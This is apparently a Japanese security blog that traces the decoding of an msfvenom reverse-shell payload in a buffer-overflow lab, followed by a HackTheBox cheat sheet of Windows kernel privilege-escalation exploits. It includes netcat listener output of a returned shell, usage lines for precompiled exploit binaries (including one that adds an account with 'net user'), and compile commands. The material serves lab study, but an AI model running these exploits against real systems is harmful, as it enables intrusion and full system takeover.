
例えば、今もしespが0x0171fceb(Payloadの先頭)を指しているとするなら(実際は違うが)、

-------------------------------------------------------
FSTENV (28-BYTE) PTR SS:[ESP-C] 実行前

D9C1                FLD ST(1)
D97424F4        FSTENV (28-BYTE) PTR SS:[ESP-C]  <- EIP
BECF6F35BB    MOV ESI,BB356FCF
58                    POP EAX
31C9                XOR ECX,ECX
B152                MOV CL,52
317017            XOR DWORD PTR DS:[EAX+17],ESI
-----------------------------------------------------
FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後

0000                FLD ST(1)
00000000        FSTENV (28-BYTE) PTR SS:[ESP-C]
0000000000    MOV ESI,BB356FCF                        <- EIP 上書きされたせいで意味不明な命令となった!
00                    POP EAX                                             プログラムは落ちる!
FFFF                XOR ECX,ECX
0000                MOV CL,52        <- ここまで(16bytes分)上書きされてしまう! 
317017            XOR DWORD PTR DS:[EAX+17],ESI

なお、必ず上のようなdecode処理となっているわけではなく多少の違いはあるため、16bytesでなくても、8bytesでもうまく行く場合もある。
今回の場合は最悪14bytes(10bytesか?どっちだ?)のnopの確保で何とかなりそう

このタイプのnopが必ず必要となるexploitの例として以下がある。どれも必ずNOPがshellcode直前に入っていることが確認できる。
https://qiita.com/v_avenger/items/fef9fa1eb92b4cf7a332

https://qiita.com/v_avenger/items/0af8602e4572889f9184
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/buffer-overflow
参考

exploit - Why shell code only with nop slide working for me? - Reverse Engineering Stack Exchange

MOV ESI,BB356FCF 実行後

ESIを"xor"する際の片方として使う。ESIに代入される値と意味不明な命令の"xor"を取ると、意味のある命令となるようになっている。
この"BB356FCF"と"意味不明な命令"のペアは毎回msfvenomを呼び出すたびに変化する。また、どのレジスタを"xor"する際に使うかも毎回変わる。これがmsfvenomでPayloadを作るたびに内容が違う理由である。(仕組み自体は毎回同じ)
f:id:kakyouim:20200615013840p:plain
ESIに”BB356FCF”が書き込まれた。
f:id:kakyouim:20200615013913p:plain

POP EAX 実行後

decode処理の先頭を指すアドレスをeaxに代入する。
f:id:kakyouim:20200615020224p:plain
f:id:kakyouim:20200615020247p:plain
スタック上のdecode処理の先頭を指すアドレスがeaxに代入された。
espは4バイト下に移動。
f:id:kakyouim:20200615020317p:plain

XOR ECX,ECX 実行後

ECX(カウンタ)を初期化。このあとのループ処理の時に使う。
f:id:kakyouim:20200615020532p:plain
ECX(カウンタ)を初期化。
f:id:kakyouim:20200615020557p:plain

MOV CL,52 実行後

ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。"4*0x52"バイトをdecodeするということ。

rax = 8bytes
eax = 4bytes
ax   = 下位2bytes
al    = 下位1bytes
ah   = 下位2bytesのうちの上の1bytes(alの片方)

f:id:kakyouim:20200615020708p:plain
ECXの下位1バイトに"0x52"を代入。
f:id:kakyouim:20200615020729p:plain

XOR DWORD PTR DS:[EAX+17],ESI 実行後

[eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む!
OR命令の3bytes(317017)がADD EAX,4命令に変わっている!
XLAT命令の1byte(D7)がLOOPD SHORT命令に変わっている!
loopd命令はECXカウンタが0になるまでループを繰り返す。ここでは、0x52回ループして、4bytesずつデコードしていく。
f:id:kakyouim:20200615023549p:plain

ADD ESI,DWORD PTR DS:[EAX+17] 実行後

ESIにこの結果を保存する。そして、次の4bytesの"意味不明な命令"と"xor"することで、"意味のある命令"にデコードする。
f:id:kakyouim:20200615021703p:plain
ESIにこの結果を保存する。
f:id:kakyouim:20200615021725p:plain

ADD EAX,4 実行後

eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす
encoderによっては、ADD EAX,4じゃなくてSUB EAX,-4(マイナスに注意)が使われたりもする。
f:id:kakyouim:20200615022312p:plain
f:id:kakyouim:20200615022339p:plain

LOOPD SHORT 0x71FCFB 実行後

以降はECXが0になるまでループを繰り返す。
f:id:kakyouim:20200615022652p:plain

0x52回のループ後(完全にdecode後)

完全にデコードしたとき、以下のようになった。
見ての通り、元の意味不明だった命令が、ReverseShellの命令に置き換わっている。
デコード後はこれらの命令を実行して、ReverseShellを呼び出すことになる。
f:id:kakyouim:20200615022848p:plain

ReverseShellを実行するとこ

ここら辺はあんまりよくわかっていないが、大体以下の挙動をするっぽい。何か重要な抜けてる動作があれば教えてください。

ざっくりとした動作

  • kernel32.LoadLibraryA
    Windowsで通信する際に使用する、"ws2_32.dll"をkernel32.dllに存在するLoadLiraryA関数でLoadする。
  • WSASocketW関数を実行
    LoadしたDLL内の関数を実行して通信する。この時点で、以下のように攻撃者に接続が返る。
root@kali:~/$ nc -lvp 4444
listening on [any] 4444 ...
192.168.56.6: inverse host lookup failed: Unknown host
connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160
  • kernel32.CreateProcessA
    子プロセスを作成するkernel32.dllの関数を呼びだす。
    ここでは、"cmd.exe"を子プロセスとして呼びだす。
    これを呼び出すことで、以下のように攻撃者にcmdが返る。
root@kali:~/$ nc -lvp 4444
listening on [any] 4444 ...
192.168.56.6: inverse host lookup failed: Unknown host
connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Downloads\vulnserver>
  • kernel32.WaitForSingleObject
    この関数で攻撃者の入力を待機する。ReverseShellPayloadはこの関数の実行で終わる。(Debuggerで[Running]となる)

まとめ

今回はSEHベースのBoFを題材にデコードする処理を追ってみました。
こうして何をするのかを追うことで、バニラBOFの場合にmsfvenom Payloadの前に適切な数の"\x90"(NOP)が必要だということを理解できたと思います。
奥が深いですね。まだまだ分からないことだらけなので勉強していきたいです!
間違ってるとことかアドバイスがあればぜひ教えてください!

参考文献

www.corelan.be
www.corelan.be

Windows Kernel Exploit Cheat Sheet for [HackTheBox]

Windows Kernel Exploitsのチートシートです。
windows-exploit-suggester.pyとSherlock.ps1が検出するExploitの中で悪用できそうなものの数は30種類くらいだったので、これくらいならすべてを事前に調べられそう、ということで調べました。
コンパイル済みのバイナリがあるサイト、またはスクリプトを優先度付きでまとめました。
high,medium,lowの3段階で評価してますが、基準は適当です。バイナリが実際に動いたか、RDP接続が必要か、Metasploitがあるか、などが基準です。頻繁に変えてますので、あくまでも参考程度にしてください。
Usageとかの情報が判明してるのものは書いてますが、よくわからないやつはあんまり書けてないです。自分はそういうやつは優先順位を後回しにしてます。
HTBWindowsのPEで詰まったらぜひ参考にしてみてください!

Cheat Sheet

Potato (high) 
MS09-012 (high)
MS10_015 (high)
MS10-047 (low)
MS10-059 (high)
MS10-073 (medium)
MS10-092 (high)
MS11-011 (medium)
MS11-046 (high)
MS11-062 (high)
MS11-080 (high)
MS13-005 (medium)
MS13-053 (medium)
MS13-081 (medium)
MS14-002 (high)
MS14-026 (low)
MS14-040 (high)
MS14_058 (high)
MS14-068 (medium)
MS14_070 (high)
MS15_004 (medium)
MS15-010 (meduim)
MS15-051 (high)
MS15-076  (medium)
MS15-078 (meduim)
MS15-102 (low)
MS16-014 (high)
MS16-016 (high)
MS16-032 (high)
MS16-034 (very low)
MS16-075 (medium)
MS16-098 (high)
MS16-135 (high)

Potato (high)

affected version

not depend on OS version

exploit-db

not found

github

以下にJuicy Potatoの64bitのバイナリがある。
usage JuicyPotato.exe whoami
github.com

以下にRottenpotatoのバイナリがある。
usage rottenpotato.exe
で実行後、以下のサイトのようにTokenを使ってSYSTEMになる。
github.com

metasploit

more information

hunter2.gitbook.io

areyou1or0.blogspot.com

MS09-012 (high)

affected version

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 および Windows XP Service Pack 3
Windows XP Professional x64 Edition および Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 1 および Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition および Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP1 for Itanium-based Systems および Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista および Windows Vista Service Pack 1
Windows Vista x64 Edition および Windows Vista x64 Edition Service Pack 1
Windows Server 2008 for 32-bit Systems
Windows Server 2008 for x64-based Systems
Windows Server 2008 for Itanium-based Systems

exploit-db

Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation
www.exploit-db.com

github

/xxoo/-->Usage: pr.exe command
usage churrasco.exe whoami
Chimichurri.exeは未確認
github.com
Chimichurri.exe <my ip> 5555
github.com

metasploit

not found

more information

about Chimichurri.exe
medium.com

MS10_015 (high)

affected version

Windows Server 2003, Windows Server 2008, 7, XP

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 および Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista、Windows Vista Service Pack 1 および Windows Vista Service Pack 2
Windows Vista x64 Edition、Windows Vista x64 Edition Service Pack 1 および Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems および Windows Server 2008 for 32-bit Systems Service Pack 2*
Windows Server 2008 for x64-based Systems および Windows Server 2008 for x64-based Systems Service Pack 2*
Windows Server 2008 for Itanium-based Systems および Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems

not affected version

Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems

This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy.
If the session is use is already elevated then the exploit will not run.
The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.

exploit-db

Microsoft Windows NT/2000/2003/2008/XP/Vista/7 - 'KiTrap0D' User Mode to Ring Escalation (MS10-015)
www.exploit-db.com

github

not support x64
You need to use both vdmallowed.exe and vdmexploit.dll
spawn new SYSTEM window(need RDP??)
github.com
vdmallowed.exe
github.com

metasploit

exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
  This module will create a new session with SYSTEM privileges via the 
  KiTrap0D exploit by Tavis Ormandy. If the session in use is already 
  elevated then the exploit will not run. The module relies on 
  kitrap0d.x86.dll, and is not supported on x64 editions of Windows.

more information

MS10-047 (low)

affected version

Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows Server 2008 for 32-bit Systems
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for Itanium-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Vista Service Pack 1
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 1
Windows Vista x64 Edition Service Pack 2
Windows XP Service Pack 3

not affected version

Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems

exploit-db

Microsoft Windows - nt!SeObjectCreateSaclAccessBits() Missed ACE Bounds Checks (MS10-047)
www.exploit-db.com

Microsoft Windows - nt!NtCreateThread Race Condition with Invalid Code Segment (MS10-047)
www.exploit-db.com

github

no??

metasploit

not found

more information

MS10-059 (high)

affected version

Windows Vista Service Pack 1 および Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 1 および Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems および Windows Server 2008 for 32-bit Systems Service Pack 2*
Windows Server 2008 for x64-based Systems および Windows Server 2008 for x64-based Systems Service Pack 2*
Windows Server 2008 for Itanium-based Systems および Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems*
Windows Server 2008 R2 for Itanium-based Systems

not affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems

[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important

exploit-db

no??

github

MS10-059.exe

usage   MS10-059.exe 10.10.14.20 4447
            Churraskito.exe "C:\windows\system32\cmd.exe" "net user 123 123 /add"

github.com

metasploit

no

more information

MS10-073 (medium)

affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Itaniumベースシステム用のWindows Server 2003 SP2
Windows Vista Service Pack 1およびWindows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 1およびWindows Vista x64 Edition Service Pack 2
32ビットシステム用のWindows Server 2008および32ビットシステム用のWindows Server 2008 Service Pack 2 *
Windows Server 2008 for x64-based SystemsおよびWindows Server 2008 for x64-based Systems Service Pack 2 *
Itaniumベースシステム用のWindows Server 2008およびItaniumベースシステム用のWindows Server 2008 Service Pack 2
32ビットシステム用のWindows 7
x64ベースシステム用のWindows 7
x64ベースシステム用のWindows Server 2008 R2 *
Itaniumベースシステム用のWindows Server 2008 R2

[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important

exploit-db

Microsoft Win32k - Keyboard Layout (MS10-073)
can not compile
www.exploit-db.com

github

no??

metasploit

   post/windows/escalate/ms10_073_kbdlayout  2010-10-12       normal  Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation

Description:
  This module exploits the keyboard layout vulnerability exploited by 
  Stuxnet. When processing specially crafted keyboard layout files 
  (DLLs), the Windows kernel fails to validate that an array index is 
  within the bounds of the array. By loading a specially crafted 
  keyboard layout, an attacker can execute code in Ring 0.

more information

using metasploit post module
www.youtube.com

MS10-092 (high)

affected version

Windows Vista Service Pack 1 and Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2*
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2*
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems*
Windows Server 2008 R2 for Itanium-based Systems

not affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems

exploit-db

Microsoft Windows - Task Scheduler '.XML' Local Privilege Escalation (MS10-092) (Metasploit) www.exploit-db.com

github

metasploit module
github.com

metasploit

 exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.

This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. 
Also, In a default configuration, normal users can read and write the task files that they have created. 
By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
NOTE: Thanks to webDEViL for the information about disable/enable.

more information

MS11-011 (medium)

affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 1 および Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 1 および Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems および Windows Server 2008 for 32-bit Systems Service Pack 2*
Windows Server 2008 for x64-based Systems および Windows Server 2008 for x64-based Systems Service Pack 2*
Windows Server 2008 for Itanium-based Systems および Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems*
Windows Server 2008 R2 for Itanium-based Systems

not affected version

Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1

[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important

exploit-db

Microsoft Windows XP - WmiTraceMessageVa Integer Truncation (PoC) (MS11-011)
seems DOS
www.exploit-db.com

github

MS11-011.exe
github.com

metasploit

not found

more information

MS11-046 (high)

affected version

# Vulnerable Software:
#   Windows XP SP3 x86
#   Windows XP Pro SP2 x64
#   Windows Server 2003 SP2 x86
#   Windows Server 2003 SP2 x64
#   Windows Server 2003 SP2 Itanium-based Systems 
#   Windows Vista SP1 x86
#   Windows Vista SP2 x86
#   Windows Vista SP1 x64
#   Windows Vista SP2 x64
#   Windows Server 2008 x86
#   Windows Server 2008 SP2 x86
#   Windows Server 2008 x64
#   Windows Server 2008 SP2 x64
#   Windows Server 2008 Itanium-based Systems
#   Windows Server 2008 SP2 Itanium-based Systems
#   Windows 7 x86
#   Windows 7 SP1 x86
#   Windows 7 x64
#   Windows 7 SP1 x64
#   Windows Server 2008 R2 x64
#   Windows Server 2008 R2 SP1 x64
#   Windows Server 2008 R2 Itanium-based Systems
#   Windows Server 2008 R2 SP1 Itanium-based Systems
# Supported Vulnerable Software:
#   Windows XP SP3 x86
#   Windows Server 2003 SP2 x86
#   Windows Vista SP1 x86
#   Windows Vista SP2 x86
#   Windows Server 2008 x86
#   Windows Server 2008 SP2 x86
#   Windows 7 x86
#   Windows 7 SP1 x86
# Tested Software:
#   Windows XP Pro SP3 x86 EN          [5.1.2600]
#   Windows Server 2003 Ent SP2 EN     [5.2.3790]
#   Windows Vista Ult SP1 x86 EN       [6.0.6001]
#   Windows Vista Ult SP2 x86 EN       [6.0.6002]
#   Windows Server 2008 Dat SP1 x86 EN [6.0.6001]
#   Windows Server 2008 Ent SP2 x86 EN [6.0.6002]
#   Windows 7 HB x86 EN                [6.1.7600]
#   Windows 7 Ent SP1 x86 EN           [6.1.7601]

exploit-db

Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046) compile with i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32
www.exploit-db.com

github

MS11_46_k8.exe, ms11-046.exe
spawn SYSTEM shell in current window
github.com
have ms11-046.exe
github.com

metasploit

no

more information

MS11-062 (high)

affected version

below

An elevation of privilege vulnerability exists in the NDISTAPI.sys component of the
Remote Access Service NDISTAPI driver.The vulnerability is caused when the NDISTAPI 
driver improperly validates user-supplied input when passing data from user mode
to the Windows kernel. An attacker must have valid logon credentials and be able
to log on locally to exploit the vulnerability. An attacker who successfully 
exploited this vulnerability could run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM  privileges)

exploit-db

Microsoft Windows (x86) - 'NDISTAPI' Local Privilege Escalation (MS11-062)

# Vulnerable Software:
#   Windows XP SP3 x86
#   Windows XP Pro SP2 x64
#   Windows Server 2003 SP2 x86
#   Windows Server 2003 SP2 x64
#   Windows Server 2003 SP2 Itanium-based Systems 
# Supported Vulnerable Software:
#   Windows XP SP3 x86
#   Windows Server 2003 SP2 x86
# Tested Software:
#   Windows XP Pro SP3 x86 EN          [5.1.2600]
#   Windows Server 2003 Ent SP2 EN     [5.2.3790]

www.exploit-db.com

github

40627.exe, MS11-062.exe
spawn SYSTEM shell in current window
github.com

metasploit

no

more information

MS11-080 (high)

affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems

not affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems および Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems および Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems および Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems および Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
This module exploits a flaw in the AfdJoinLeaf function of the afd.
sys driver to overwrite data in kernel space. 
An address within the HalDispatchTable is overwritten 
and when triggered with a call to NtQueryIntervalProfile will execute shellcode. 
This module will elevate itself to SYSTEM, then inject the payload into another 
SYSTEM process before restoring it's own token to avoid causing system instability.

exploit-db

Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (MS11-080)
www.exploit-db.com

Microsoft Windows - 'AfdJoinLeaf' Local Privilege Escalation (MS11-080) (Metasploit)
www.exploit-db.com

github

CVE-2011-2005.py MS11_80_k8.exe ms11-080-AddUser.exe ms11-080.exe
add User and spawn in current window
github.com

have ms11-080.py ms11-080.exe
github.com

metasploit

   exploit/windows/local/ms11_080_afdjoinleaf  2011-11-30       average  MS11-080 AfdJoinLeaf Privilege Escalation

more information

MS13-005 (medium)

affected version

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for 64-bit Systems
Windows Server 2012
Windows RT
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems Service Pack 1

not affected version

Microsoft Windows XP Service Pack 3
Microsoft Windows XP Professional x64 Edition Service Pack 2
Microsoft Windows Server 2003 Service Pack 2
Microsoft Windows Server 2003 x64 Edition Service Pack 2
Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 2    
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important

Due to a problem with isolating window broadcast messages in the Windows kernel,
an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, 
thereby effecting a privilege escalation. 
This issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and RT. 
Note that spawning a command prompt with the shortcut key combination Win+Shift+# does not work in Vista, 
so the attacker will have to check if the user is already running a command prompt and set SPAWN_PROMPT false. 
Three exploit techniques are available with this module. 
The WEB technique will execute a powershell encoded payload from a Web location. 
The FILE technique will drop an executable to the file system, 
set it to medium integrity and execute it. 
The TYPE technique will attempt to execute a powershell encoded payload directly from the command line, 
but may take some time to complete.

exploit-db

Microsoft Windows - HWND_BROADCAST (PoC) (MS13-005)
seems DOS
cannot compile
www.exploit-db.com

github

github.com

metasploit

exploit/windows/local/ms13_005_hwnd_broadcast  2012-11-27       excellent  MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation

more information

MS13-053 (medium)

affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for 64-bit Systems
Windows Server 2012
Windows RT[1] (2850851)
NTUserMessageCall Win32k Kernel Pool Overflow
win32k.sys in the kernel-mode drivers in Microsoft Windows XP SP2 and SP3, 
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 does not properly handle objects in memory, 
which allows local users to gain privileges via a crafted application, aka "Win32k Information Disclosure Vulnerability."

exploit-db

Microsoft Windows - NTUserMessageCall Win32k Kernel Pool Overflow 'schlamperei.x86.dll' (MS13-053) (Metasploit)
www.exploit-db.com

github

MS13-053.exe
spawn a SYSTEM shell in new window
github.com

metasploit

   exploit/windows/local/ms13_053_schlamperei  2013-12-01       average  Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

more information

MS13-081 (medium)

affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for 64-bit Systems
Windows Server 2012
Windows RT
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012 (Server Core installation)

not affected version

Windows 8.1 for 32-bit Systems
Windows 8.1 for 64-bit Systems
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows RT 8.1
MS13-081 : TrackPopupMenuEx Win32k NULL Page
This module exploits a vulnerability in win32k.sys where under
        specific conditions TrackPopupMenuEx will pass a NULL pointer to
        the MNEndMenuState procedure. This module has been tested
        successfully on Windows 7 SP0 and Windows 7 SP1.

successfully on Windows 7 SP0 and Windows 7 SP1.

exploit-db

Microsoft Windows - TrackPopupMenuEx Win32k NULL Page (MS13-081) (Metasploit)
www.exploit-db.com

github

no??

metasploit

   exploit/windows/local/ms13_081_track_popup_menu  2013-10-08       average  Windows TrackPopupMenuEx Win32k NULL Page

more information

MS14-002 (high)

affected version

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems

not support

Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 8 for 32-bit Systems
Windows 8 for x64-based Systems
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows Server 2012
Windows Server 2012 R2
Windows RT
Windows RT 8.1
Server Core インストール オプション
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core インストール)
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core インストール)
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core インストール)
Windows Server 2012 R2 (Server Core インストール)
Windows Server 2012 (Server Core インストール)
This module exploits a flaw in the ndproxy.
sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. 
The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, 
where user provided input is used to access an array unsafely, and the value is used to perform a call, 
leading to a NULL pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. 
This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2.
In order to work the service "Routing and Remote Access" must be running on the target system.

exploit-db

Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002)

# Tested on Windows XP SP3

www.exploit-db.com
Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002)

# Vulnerable Software:
#   Windows XP SP3 x86
#   Windows XP SP2 x86-64
#   Windows 2003 SP2 x86
#   Windows 2003 SP2 x86-64
#   Windows 2003 SP2 IA-64
# Supported vulnerable software:
#   Windows XP SP3 x86
#   Windows 2003 SP2 x86
# Tested on:
#   Windows XP SP3 x86 EN
#   Windows 2003 SP2 x86 EN
# CVE ID: 2013-5065
#   Exploit compiling:
#     - # i586-mingw32msvc-gcc MS14-002.c -o MS14-002.exe

www.exploit-db.com

github

CVE-2013-5065.exe CVE-2013-5065.py MS14-002.exe

c:> MS14-002.exe XP
c:> MS14-002.exe 2k3

spawn a SYSTEM shell in current window
github.com
Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002)
have ms14-002.py ms14-002.exe
github.com

metasploit

   exploit/windows/local/ms_ndproxy  2013-11-27       average  MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation

more information

MS14-026 (low)

affected version

Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
